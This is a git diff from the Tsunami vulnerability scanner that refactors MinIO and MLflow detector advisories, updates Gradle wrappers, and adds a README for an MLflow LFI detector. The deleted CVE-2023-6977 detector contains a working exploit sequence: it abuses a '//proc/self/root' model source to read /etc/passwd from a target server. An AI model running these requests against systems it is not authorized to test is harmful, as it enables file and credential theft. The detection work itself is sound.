b/community/detectors/minio_cve_2023_28432/src/test/java/com/google/tsunami/plugins/cve20232843/Cve202328432VulnDetectorTest.java index c24e465ae..38eb8b3c0 100644 --- a/community/detectors/minio_cve_2023_28432/src/test/java/com/google/tsunami/plugins/cve20232843/Cve202328432VulnDetectorTest.java +++ b/community/detectors/minio_cve_2023_28432/src/test/java/com/google/tsunami/plugins/cve20232843/Cve202328432VulnDetectorTest.java @@ -18,8 +18,6 @@ import static com.google.common.truth.Truth.assertThat; import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; -import static com.google.tsunami.plugins.cves.cve202328432.Cve202328432VulnDetector.DESCRIPTION; -import static com.google.tsunami.plugins.cves.cve202328432.Cve202328432VulnDetector.RECOMMENDATION; import static java.nio.charset.StandardCharsets.UTF_8; import static org.junit.Assert.assertEquals; @@ -40,13 +38,10 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TextData; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import java.util.Optional; @@ -264,15 +259,7 @@ private DetectionReport buildExpectedDetectionReport( .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("MINIO_INFORMATION_DISCLOSURE_CLUSTER_ENVIRONMENT")) - .setSeverity(Severity.CRITICAL) - .setTitle("MinIO Information Disclosure in Cluster Environment") - .setDescription(DESCRIPTION) - .setRecommendation(RECOMMENDATION) + detector.getAdvisories().get(0).toBuilder() .addAdditionalDetails( AdditionalDetail.newBuilder() .setTextData(TextData.newBuilder().setText(vulnerabilityDetail)))) diff --git a/community/detectors/mlflow_cve_2023_6014/gradle/wrapper/gradle-wrapper.jar b/community/detectors/mlflow_cve_2023_6014/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/community/detectors/mlflow_cve_2023_6014/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/mlflow_cve_2023_6014/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/mlflow_cve_2023_6014/gradle/wrapper/gradle-wrapper.properties b/community/detectors/mlflow_cve_2023_6014/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/mlflow_cve_2023_6014/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/mlflow_cve_2023_6014/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/mlflow_cve_2023_6014/gradlew b/community/detectors/mlflow_cve_2023_6014/gradlew index 1aa94a426..23d15a936 100755 --- a/community/detectors/mlflow_cve_2023_6014/gradlew +++ b/community/detectors/mlflow_cve_2023_6014/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/mlflow_cve_2023_6014/gradlew.bat b/community/detectors/mlflow_cve_2023_6014/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/community/detectors/mlflow_cve_2023_6014/gradlew.bat +++ b/community/detectors/mlflow_cve_2023_6014/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/mlflow_cve_2023_6014/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20236014/Cve20236014VulnDetector.java b/community/detectors/mlflow_cve_2023_6014/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20236014/Cve20236014VulnDetector.java index 1362284ea..e437e8b7a 100644 --- a/community/detectors/mlflow_cve_2023_6014/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20236014/Cve20236014VulnDetector.java +++ b/community/detectors/mlflow_cve_2023_6014/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20236014/Cve20236014VulnDetector.java @@ -101,6 +101,26 @@ public DetectionReportList detect( .build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2023_6014")) + .setSeverity(Severity.CRITICAL) + .setTitle("CVE-2023-6014 MLflow Auth Bypasss Vulnerability") + .setRecommendation( + "Update the MLflow instances to a version that provides a fix which is newer" + + " than version 2.8.0, and check the user list for potential users that" + + " were created by exploiting this vulnerability.") + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2023-6014")) + .setDescription(VULN_DESCRIPTION) + .build()); + } + private boolean isServiceVulnerable(NetworkService networkService) { String targetVulnerabilityUrl = NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + VUL_PATH; @@ -140,21 +160,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2023_6014")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2023-6014 MLflow Auth Bypasss Vulnerability") - .setRecommendation( - "Update the MLflow instances to a version that provides a fix which is newer" - + " than version 2.8.0, and check the user list for potential users that" - + " were created by exploiting this vulnerability.") - .addRelatedId( - VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2023-6014")) - .setDescription(VULN_DESCRIPTION)) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/community/detectors/mlflow_cve_2023_6014/src/test/java/com/google/tsunami/plugins/detectors/cves/cve20236014/Cve20236014VulnDetectorTest.java b/community/detectors/mlflow_cve_2023_6014/src/test/java/com/google/tsunami/plugins/detectors/cves/cve20236014/Cve20236014VulnDetectorTest.java index a4775c349..3ec15053d 100644 --- a/community/detectors/mlflow_cve_2023_6014/src/test/java/com/google/tsunami/plugins/detectors/cves/cve20236014/Cve20236014VulnDetectorTest.java +++ b/community/detectors/mlflow_cve_2023_6014/src/test/java/com/google/tsunami/plugins/detectors/cves/cve20236014/Cve20236014VulnDetectorTest.java @@ -29,12 +29,9 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -97,23 +94,7 @@ public void detect_whenVulnerable_returnsVulnerability() throws IOException { .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2023_6014")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2023-6014 MLflow Auth Bypasss Vulnerability") - .setRecommendation( - "Update the MLflow instances to a version that provides a fix which is" - + " newer than version 2.8.0, and check the user list for potential" - + " users that were created by exploiting this vulnerability.") - .addRelatedId( - VulnerabilityId.newBuilder() - .setPublisher("CVE") - .setValue("CVE-2023-6014")) - .setDescription(Cve20236014VulnDetector.VULN_DESCRIPTION)) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/community/detectors/mlflow_cve_2023_6977/README.md b/community/detectors/mlflow_cve_2023_6977/README.md deleted file mode 100644 index 3b1d6db99..000000000 --- a/community/detectors/mlflow_cve_2023_6977/README.md +++ /dev/null @@ -1,19 +0,0 @@ -# MLflow LFI/RFI CVE-2023-6977 Detector - -This detector checks for MLflow LFI/RFI vulnerability (CVE-2023-6977). This -vulnerability enables malicious users to read sensitive files on the server. It -encompasses both CVE-2023-1177 and CVE-2023-2780 because exploit of -CVE-2023-6977 bypasses patches of these vulnerabilities by using symlinks. - -- https://huntr.com/bounties/fe53bf71-3687-4711-90df-c26172880aaf -- https://nvd.nist.gov/vuln/detail/CVE-2023-6977 - -## Build jar file for this plugin - -Using `gradlew`: - -```shell -./gradlew jar -``` - -Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/community/detectors/mlflow_cve_2023_6977/gradle/wrapper/gradle-wrapper.jar b/community/detectors/mlflow_cve_2023_6977/gradle/wrapper/gradle-wrapper.jar deleted file mode 100644 index d64cd4917..000000000 Binary files a/community/detectors/mlflow_cve_2023_6977/gradle/wrapper/gradle-wrapper.jar and /dev/null differ diff --git a/community/detectors/mlflow_cve_2023_6977/settings.gradle b/community/detectors/mlflow_cve_2023_6977/settings.gradle deleted file mode 100644 index cb07619ce..000000000 --- a/community/detectors/mlflow_cve_2023_6977/settings.gradle +++ /dev/null @@ -1 +0,0 @@ -rootProject.name = 'mlflow_cve_2023_6977' diff --git a/community/detectors/mlflow_cve_2023_6977/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20236977/Cve20236977Detector.java b/community/detectors/mlflow_cve_2023_6977/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20236977/Cve20236977Detector.java deleted file mode 100644 index 88683af3b..000000000 --- a/community/detectors/mlflow_cve_2023_6977/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20236977/Cve20236977Detector.java +++ /dev/null @@ -1,239 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.cves.cve20236977; - -import static com.google.common.base.Preconditions.checkNotNull; -import static com.google.common.collect.ImmutableList.toImmutableList; -import static com.google.common.net.HttpHeaders.CONTENT_TYPE; -import static com.google.common.net.HttpHeaders.USER_AGENT; -import static com.google.tsunami.common.net.http.HttpRequest.delete; -import static com.google.tsunami.common.net.http.HttpRequest.get; -import static com.google.tsunami.common.net.http.HttpRequest.post; - -import com.google.common.annotations.VisibleForTesting; -import com.google.common.collect.ImmutableList; -import com.google.common.flogger.GoogleLogger; -import com.google.common.net.MediaType; -import com.google.protobuf.ByteString; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.data.NetworkServiceUtils; -import com.google.tsunami.common.net.http.HttpClient; -import com.google.tsunami.common.net.http.HttpHeaders; -import com.google.tsunami.common.net.http.HttpResponse; -import com.google.tsunami.common.time.UtcClock; -import com.google.tsunami.plugin.PluginType; -import com.google.tsunami.plugin.VulnDetector; -import com.google.tsunami.plugin.annotations.PluginInfo; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; -import java.io.IOException; -import java.time.Clock; -import java.time.Instant; -import javax.inject.Inject; - -/** A {@link VulnDetector} that detects the CVE-2023-6977 vulnerability. */ -@PluginInfo( - type = PluginType.VULN_DETECTION, - name = "MLflow LFI/RFI CVE-2023-6977 Detector", - version = "0.2", - description = Cve20236977Detector.VULN_DESCRIPTION, - author = "hh-hunter, frkngksl", - bootstrapModule = Cve20236977DetectorBootstrapModule.class) -public final class Cve20236977Detector implements VulnDetector { - - @VisibleForTesting static final String DETECTION_STRING = "root:x:0:0:root"; - @VisibleForTesting static final String CREATE_DETECTION_STRING = "Tsunami-Test"; - - @VisibleForTesting - static final String VULN_DESCRIPTION = - "mlflow is a platform to streamline machine learning development, including tracking" - + " experiments, packaging code into reproducible runs, and sharing and deploying models." - + " Affected versions of this package are vulnerable to Improper Access Control which" - + " enables malicious actors to download arbitrary files unrelated to MLflow from the" - + " host server, including any files stored in remote locations to which the host server" - + " has access.This vulnerability can read arbitrary files. Since MLflow usually" - + " configures s3 storage, it means that AWS account information can also be obtained," - + " and information such as local ssh private keys can also be read, resulting in RCE." - + " The vulnerability detected here is CVE-2023-6977 which is a bypass for both" - + " CVE-2023-1177 and CVE-2023-2780. Hence, this plugin encompasses them."; - - private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); - - private static final String REPLACE_FLAG = "REPLACE_FLAG"; - private static final String CREATE_MODEL_API = "ajax-api/2.0/mlflow/registered-models/create"; - - private static final String UPDATE_MODEL_API = "ajax-api/2.0/mlflow/model-versions/create"; - private static final String REMOVE_MODEL_API = "ajax-api/2.0/mlflow/model-versions/delete"; - - private static final String READ_FILE_VUL_API = - "model-versions/get-artifact?path=etc/passwd&name=REPLACE_FLAG&version=1"; - - private static final String CREATE_MODEL_DATA = "{\"name\":\"REPLACE_FLAG\"}"; - - private static final String UPDATE_CREATE_MODEL_DATA = - "{\"name\":\"REPLACE_FLAG\",\"source\":\"//proc/self/root\"}"; - - private final HttpClient httpClient; - - private final Clock utcClock; - - @Inject - Cve20236977Detector(@UtcClock Clock utcClock, HttpClient httpClient) { - this.httpClient = checkNotNull(httpClient); - this.utcClock = checkNotNull(utcClock); - } - - @Override - public DetectionReportList detect( - TargetInfo targetInfo, ImmutableList matchedServices) { - logger.atInfo().log("CVE-2023-6977 starts detecting."); - - return DetectionReportList.newBuilder() - .addAllDetectionReports( - matchedServices.stream() - .filter(NetworkServiceUtils::isWebService) - .filter(this::isServiceVulnerable) - .map(networkService -> buildDetectionReport(targetInfo, networkService)) - .collect(toImmutableList())) - .build(); - } - - private boolean isServiceVulnerable(NetworkService networkService) { - Boolean createFlag = false; - Boolean resultFlag = false; - String currentModelName = CREATE_DETECTION_STRING + Instant.now().toEpochMilli(); - String rootUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); - String createModeUri = new StringBuilder().append(rootUri).append(CREATE_MODEL_API).toString(); - String updateModeUri = new StringBuilder().append(rootUri).append(UPDATE_MODEL_API).toString(); - String readFileUri = - new StringBuilder() - .append(rootUri) - .append(READ_FILE_VUL_API) - .toString() - .replace(REPLACE_FLAG, currentModelName); - logger.atInfo().log("currentModelName: %s", currentModelName); - try { - HttpResponse createModeResponse = - httpClient.sendAsIs( - post(createModeUri) - .setHeaders( - HttpHeaders.builder() - .addHeader(CONTENT_TYPE, MediaType.JSON_UTF_8.toString()) - .build()) - .setRequestBody( - ByteString.copyFromUtf8( - CREATE_MODEL_DATA.replace(REPLACE_FLAG, currentModelName))) - .build()); - if (createModeResponse.status().code() != 200 - && !createModeResponse.bodyString().get().contains(CREATE_DETECTION_STRING)) { - return false; - } - createFlag = true; - HttpResponse updateModeResponse = - httpClient.sendAsIs( - post(updateModeUri) - .setHeaders( - HttpHeaders.builder() - .addHeader(CONTENT_TYPE, MediaType.JSON_UTF_8.toString()) - .build()) - .setRequestBody( - ByteString.copyFromUtf8( - UPDATE_CREATE_MODEL_DATA.replace(REPLACE_FLAG, currentModelName))) - .build()); - if (updateModeResponse.status().code() == 200 - && updateModeResponse.bodyString().get().contains(CREATE_DETECTION_STRING)) { - { - HttpResponse readFileResponse = - httpClient.sendAsIs( - get(readFileUri) - .setHeaders( - HttpHeaders.builder() - .addHeader(USER_AGENT, CREATE_DETECTION_STRING) - .build()) - .build()); - if (readFileResponse.status().code() == 200 - && readFileResponse.bodyString().get().contains(DETECTION_STRING)) { - resultFlag = true; - } - } - } - } catch (IOException | AssertionError e) { - logger.atWarning().withCause(e).log("Request to target %s failed", networkService); - return false; - } finally { - if (createFlag) { - cleanModel(currentModelName, networkService); - } - } - return resultFlag; - } - - private void cleanModel(String modelName, NetworkService networkService) { - String rootUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); - String removeModeUri = new StringBuilder().append(rootUri).append(REMOVE_MODEL_API).toString(); - try { - HttpResponse removeModeResponse = - httpClient.sendAsIs( - delete(removeModeUri) - .setHeaders( - HttpHeaders.builder() - .addHeader(CONTENT_TYPE, MediaType.JSON_UTF_8.toString()) - .build()) - .setRequestBody( - ByteString.copyFromUtf8(CREATE_MODEL_DATA.replace(REPLACE_FLAG, modelName))) - .build()); - if (removeModeResponse.status().code() == 200) { - logger.atInfo().log("Clean Model %s success", modelName); - } - } catch (Exception e) { - logger.atWarning().withCause(e).log("Clean Model %s failed", modelName); - } - } - - private DetectionReport buildDetectionReport( - TargetInfo targetInfo, NetworkService vulnerableNetworkService) { - return DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(vulnerableNetworkService) - .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2023_6977")) - .addRelatedId( - VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2023-6977")) - .addRelatedId( - VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2023-2780")) - .addRelatedId( - VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2023-1177")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2023-6977 MLflow LFI/RFI") - .setRecommendation( - "1.Update to the version 2.10.0 or above\n" - + "2.Add authentication to MLflow server\n") - .setDescription(VULN_DESCRIPTION)) - .build(); - } -} diff --git a/community/detectors/mlflow_cve_2023_6977/src/test/java/com/google/tsunami/plugins/detectors/cves/cve20236977/Cve20236977DetectorTest.java b/community/detectors/mlflow_cve_2023_6977/src/test/java/com/google/tsunami/plugins/detectors/cves/cve20236977/Cve20236977DetectorTest.java deleted file mode 100644 index 7190b1eb0..000000000 --- a/community/detectors/mlflow_cve_2023_6977/src/test/java/com/google/tsunami/plugins/detectors/cves/cve20236977/Cve20236977DetectorTest.java +++ /dev/null @@ -1,159 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.cves.cve20236977; - -import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; -import static com.google.tsunami.plugins.detectors.cves.cve20236977.Cve20236977Detector.CREATE_DETECTION_STRING; -import static com.google.tsunami.plugins.detectors.cves.cve20236977.Cve20236977Detector.DETECTION_STRING; -import static com.google.tsunami.plugins.detectors.cves.cve20236977.Cve20236977Detector.VULN_DESCRIPTION; - -import com.google.common.collect.ImmutableList; -import com.google.inject.Guice; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.net.http.HttpClientModule; -import com.google.tsunami.common.time.testing.FakeUtcClock; -import com.google.tsunami.common.time.testing.FakeUtcClockModule; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; -import com.google.tsunami.proto.Software; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; -import java.io.IOException; -import java.time.Instant; -import javax.inject.Inject; -import okhttp3.mockwebserver.MockResponse; -import okhttp3.mockwebserver.MockWebServer; -import org.junit.After; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Unit tests for {@link Cve20236977Detector}. */ -@RunWith(JUnit4.class) -public final class Cve20236977DetectorTest { - - private final FakeUtcClock fakeUtcClock = - FakeUtcClock.create().setNow(Instant.parse("2020-01-01T00:00:00.00Z")); - - @Inject private Cve20236977Detector detector; - - private MockWebServer mockWebServer; - - @Before - public void setUp() { - mockWebServer = new MockWebServer(); - Guice.createInjector( - new FakeUtcClockModule(fakeUtcClock), - new Cve20236977DetectorBootstrapModule(), - new HttpClientModule.Builder().build()) - .injectMembers(this); - } - - @After - public void tearDown() throws IOException { - mockWebServer.shutdown(); - } - - @Test - public void detect_whenVulnerable_returnsVulnerability() throws IOException { - mockWebResponse(DETECTION_STRING); - NetworkService service = - NetworkService.newBuilder() - .setNetworkEndpoint( - forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) - .setTransportProtocol(TransportProtocol.TCP) - .setSoftware(Software.newBuilder().setName("http")) - .setServiceName("http") - .build(); - TargetInfo targetInfo = - TargetInfo.newBuilder() - .addNetworkEndpoints(forHostname(mockWebServer.getHostName())) - .build(); - - DetectionReportList detectionReports = detector.detect(targetInfo, ImmutableList.of(service)); - - assertThat(detectionReports.getDetectionReportsList()) - .containsExactly( - DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(service) - .setDetectionTimestamp( - Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2023_6977")) - .addRelatedId( - VulnerabilityId.newBuilder() - .setPublisher("CVE") - .setValue("CVE-2023-6977")) - .addRelatedId( - VulnerabilityId.newBuilder() - .setPublisher("CVE") - .setValue("CVE-2023-2780")) - .addRelatedId( - VulnerabilityId.newBuilder() - .setPublisher("CVE") - .setValue("CVE-2023-1177")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2023-6977 MLflow LFI/RFI") - .setRecommendation( - "1.Update to the version 2.10.0 or above\n" - + "2.Add authentication to MLflow server\n") - .setDescription(VULN_DESCRIPTION)) - .build()); - } - - @Test - public void detect_whenNotVulnerable_returnsNoVulnerability() throws IOException { - mockWebResponse("Hello World"); - ImmutableList httpServices = - ImmutableList.of( - NetworkService.newBuilder() - .setNetworkEndpoint( - forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) - .setTransportProtocol(TransportProtocol.TCP) - .setServiceName("http") - .build()); - TargetInfo targetInfo = - TargetInfo.newBuilder() - .addNetworkEndpoints(forHostname(mockWebServer.getHostName())) - .build(); - - DetectionReportList detectionReports = detector.detect(targetInfo, httpServices); - - assertThat(detectionReports.getDetectionReportsList()).isEmpty(); - } - - private void mockWebResponse(String body) throws IOException { - mockWebServer.enqueue(new MockResponse().setResponseCode(200).setBody(CREATE_DETECTION_STRING)); - mockWebServer.enqueue(new MockResponse().setResponseCode(200).setBody(CREATE_DETECTION_STRING)); - mockWebServer.enqueue(new MockResponse().setResponseCode(200).setBody(body)); - mockWebServer.enqueue(new MockResponse().setResponseCode(200)); - mockWebServer.start(); - } -} diff --git a/community/detectors/mlflow_cve_2024_2928/README.md b/community/detectors/mlflow_cve_2024_2928/README.md new file mode 100644 index 000000000..45c4bcaf1 --- /dev/null +++ b/community/detectors/mlflow_cve_2024_2928/README.md @@ -0,0 +1,23 @@ +# MLflow LFI CVE-2024-2928 Detector + +A Local File Inclusion (LFI) vulnerability was identified in mlflow, which was +fixed in version 2.11.2. This vulnerability arises from the application's +failure to properly validate URI fragments for directory traversal sequences +such as '../'. An attacker can exploit this flaw by manipulating the fragment +part of the URI to read arbitrary files on the local file system, including +sensitive files like '/etc/passwd'. The vulnerability is a bypass to a previous +patched vulnerability (namely for CVE-2023-6909) that only addressed similar +manipulation within the URI's query string. + +- https://huntr.com/bounties/19bf02d7-6393-4a95-b9d0-d6d4d2d8c298 +- https://nvd.nist.gov/vuln/detail/CVE-2024-2928 + +## Build jar file for this plugin + +Using `gradlew`: + +```shell +./gradlew jar +``` + +Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/google/detectors/rce/ai/cve20236018/build.gradle b/community/detectors/mlflow_cve_2024_2928/build.gradle similarity index 89% rename from google/detectors/rce/ai/cve20236018/build.gradle rename to community/detectors/mlflow_cve_2024_2928/build.gradle index 13f39fc30..2297f75cf 100644 --- a/google/detectors/rce/ai/cve20236018/build.gradle +++ b/community/detectors/mlflow_cve_2024_2928/build.gradle @@ -2,9 +2,10 @@ plugins { id 'java-library' } -description = 'Tsunami detector for CVE-2023-6018.' -group = 'com.google.tsunami' -version = '0.0.1-SNAPSHOT' +description = 'Tsunami CVE-2024-2928 VulnDetector plugin.' +group 'com.google.tsunami' +version '0.0.1-SNAPSHOT' + repositories { maven { // The google mirror is less flaky than mavenCentral() @@ -50,6 +51,7 @@ ext { junitVersion = '4.13' mockitoVersion = '2.28.2' truthVersion = '1.0.1' + okhttpVersion = '3.12.0' } 